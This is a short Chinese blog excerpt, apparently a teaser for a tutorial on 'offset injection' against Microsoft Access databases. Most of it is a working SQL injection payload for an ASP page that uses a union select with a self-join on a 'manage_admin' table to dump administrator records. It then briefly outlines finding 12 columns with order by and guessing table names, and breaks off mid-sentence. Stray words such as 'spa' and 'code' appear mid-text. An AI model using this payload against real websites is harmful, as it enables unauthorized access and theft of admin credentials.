access 偏移注入 案例

news.asp?id=3039 and 4>8 union select 1,2,3,4,* from manage_admin as a inner join manage_admin as b on a.id=b.id 看个案例就明白是什么意思了 先是背景sql news.asp?id=3306 存在注入spa 而后经过 order by 可知查询返回 12 列code 经过数据表字典跑出管

>>阅读原文<<